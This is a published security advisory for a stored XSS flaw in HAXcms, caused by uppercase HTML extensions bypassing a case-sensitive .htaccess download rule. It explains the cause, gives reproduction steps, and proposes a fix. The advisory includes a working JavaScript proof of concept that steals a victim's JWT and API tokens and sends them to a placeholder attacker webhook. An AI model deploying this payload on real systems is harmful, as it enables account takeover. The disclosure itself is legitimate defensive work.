Skip to content

Stored XSS via Case-Sensitivity Mismatch in HTML Upload Validation

High
btopro published GHSA-hg33-w4j2-95qp May 12, 2026

Package

haxtheweb/haxcms-php

Affected versions

<= 25.0.0

Patched versions

26.0.0

Description

Summary

The saveFile endpoint validates upload extensions case-insensitively and writes the filename to disk verbatim, but the .htaccess rule that forces Content-Disposition: attachment on HTML files is case-sensitive. An HTML file uploaded with an uppercase extension (.HTML, .Html, .HTM) is still served as text/html but the forced-download header never applies, so the browser renders it inline and executes any embedded JavaScript in the HAXcms origin. This bypasses the mitigation shipped for CVE-2026-22704.

Details

The upload path and the force-download rule disagree on extension casing.

Upload validation (HAXCMSFile.php) uses the case-insensitive i flag and accepts any casing:

preg_match('/\.(jpg|jpeg|...|html|md)$/i', $upload['name'])

The filename is written to disk verbatim with no normalization, so xss.HTML lands on the filesystem as xss.HTML.

Force-download rule (.htaccess line 109) uses SetEnvIf, which is case-sensitive by default:

SetEnvIf Request_URI "/files/.*\.html?$" force_html_download=1
Header always set Content-Disposition "attachment" env=force_html_download

This matches .htm and .html but not .HTML, .Html, or .HTM. Apache still serves the file as text/html because its MIME resolution is case-insensitive, so the only control preventing inline rendering (the forced Content-Disposition header) is skipped.

The correct fix is to normalize the extension to lowercase during upload so the .htaccess rule consistently catches anything the PHP validator accepted as HTML. Switching SetEnvIf to SetEnvIfNoCase is a useful secondary defense but does not address the root issue, which is that the server preserves user-controlled casing on disk.

PoC

Save the following as poc.HTML on your local machine. When opened by any authenticated HAXcms user, this payload silently obtains their JWT, discovers their username, retrieves their API tokens, enumerates every site they own, and exfiltrates everything to an attacker-controlled webhook.

<!DOCTYPE html>
<html>
<head><title>HAX Audit — PoC</title></head>
<body>
<h1>Loading...</h1>
<div id="out" style="background:#111;color:#0f0;padding:20px;font-family:monospace;white-space:pre-wrap;font-size:12px;"></div>
<script>
(async () => {
  const WEBHOOK = 'https://ATTACKER_WEBHOOK_URL';
  const o = document.getElementById('out');
  const log = m => { o.textContent += m + '\n'; };
  const results = {};

  // 1. Obtain a fresh JWT for whoever is viewing this page.
  //    refreshAccessToken is cookie-authenticated — the visitor's
  //    session cookies are sent automatically by the browser.
  log('[*] Calling refreshAccessToken...');
  const r1 = await fetch('../../../system/api/refreshAccessToken', {
    method: 'POST', credentials: 'include'
  });
  const j1 = await r1.json();
  if (!j1.jwt) { log('[-] No JWT — visitor is not logged in'); return; }
  results.jwt = j1.jwt;

  // 2. The JWT contains the visitor's username in its payload.
  //    The attacker does not need to know who clicks the link.
  const payload = JSON.parse(atob(j1.jwt.split('.')[1]));
  results.username = payload.user;
  log('[+] JWT obtained for user: ' + payload.user);

  // 3. Use the discovered username to call their connectionSettings
  //    endpoint and retrieve their user_token and form_token.
  log('[*] Calling connectionSettings for ' + payload.user + '...');
  const r2 = await fetch('/' + payload.user + '/system/api/connectionSettings', {
    method: 'POST', credentials: 'include'
  });
  const raw = await r2.text();
  const ut = raw.match(/user_token=([^&"]+)/);
  if (ut) {
    results.user_token = ut[1];
    log('[+] user_token: ' + ut[1]);
  }
  const ft = raw.match(/getFormToken":"([^"]+)"/);
  if (ft) {
    results.form_token = ft[1];
    log('[+] form_token: ' + ft[1]);
  }

  // 4. Enumerate every site the visitor owns.
  log('[*] Calling listSites...');
  const r3 = await fetch('/' + payload.user + '/system/api/listSites', {
    method: 'POST', credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ jwt: j1.jwt, user_token: results.user_token })
  });
  const d3 = await r3.json();
  if (d3.data && d3.data.items) {
    results.site_count = d3.data.items.length;
    results.sites = d3.data.items.map(s => ({
      name: s.metadata?.site?.name,
      pages: s.metadata?.pageCount
    }));
    log('[+] ' + results.site_count + ' sites owned by ' + payload.user + ':');
    results.sites.forEach(s => log('    ' + s.name + ' (' + s.pages + ' pages)'));
  }

  // 5. Send everything to the attacker.
  log('[*] Exfiltrating...');
  navigator.sendBeacon(WEBHOOK, JSON.stringify(results));
  log('[+] Sent to webhook.');
  document.querySelector('h1').textContent = 'XSS fired as: ' + payload.user;
})();
</script>
</body>
</html>

Replace ATTACKER_WEBHOOK_URL with a URL you control (e.g., a [webhook.site](https://webhook.site) endpoint).

Reproduction steps

  1. Log in to a HAXcms deployment (e.g., https://try.fire.x.vmhost.psu.edu/USERNAME).

  2. Create or open a site from the dashboard.

  3. Upload poc.HTML through the HAX editor. Click the media/add button in the toolbar, select "Upload file," and choose poc.HTML from your machine. The upload succeeds because the PHP validator matches .HTML case-insensitively. Note the file path in the response — it will be /_sites/SITENAME/files/poc.HTML.

image
  1. Visit the uploaded file in your browser at https://TARGET/_sites/SITENAME/files/poc.HTML. The page renders inline (not as a download) and the script executes. You will see terminal-style output showing each step of the exploit chain completing against your own account.
image
  1. Send the link to another authenticated user. When they open it, the same exploit chain fires using their session cookies. They do not need to be on your site or have any relationship to your account.

  2. Check your webhook. It receives a JSON payload containing the visitor's JWT, username, user_token, form_token, site count, and the name and page count of every site they own.

image

Notice I am receiving data for user spc6394 and not jxs7245

Impact

Uploaded HTML files with uppercase extensions render inline and execute arbitrary JavaScript in the HAXcms origin. As demonstrated in the PoC, this leads to full account takeover: the attacker obtains the visitor's JWT, API tokens, and complete site inventory without any action beyond the visitor clicking the link.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-46392

Weaknesses

Improper Handling of Case Sensitivity

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. Learn more on MITRE.

Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Learn more on MITRE.

Credits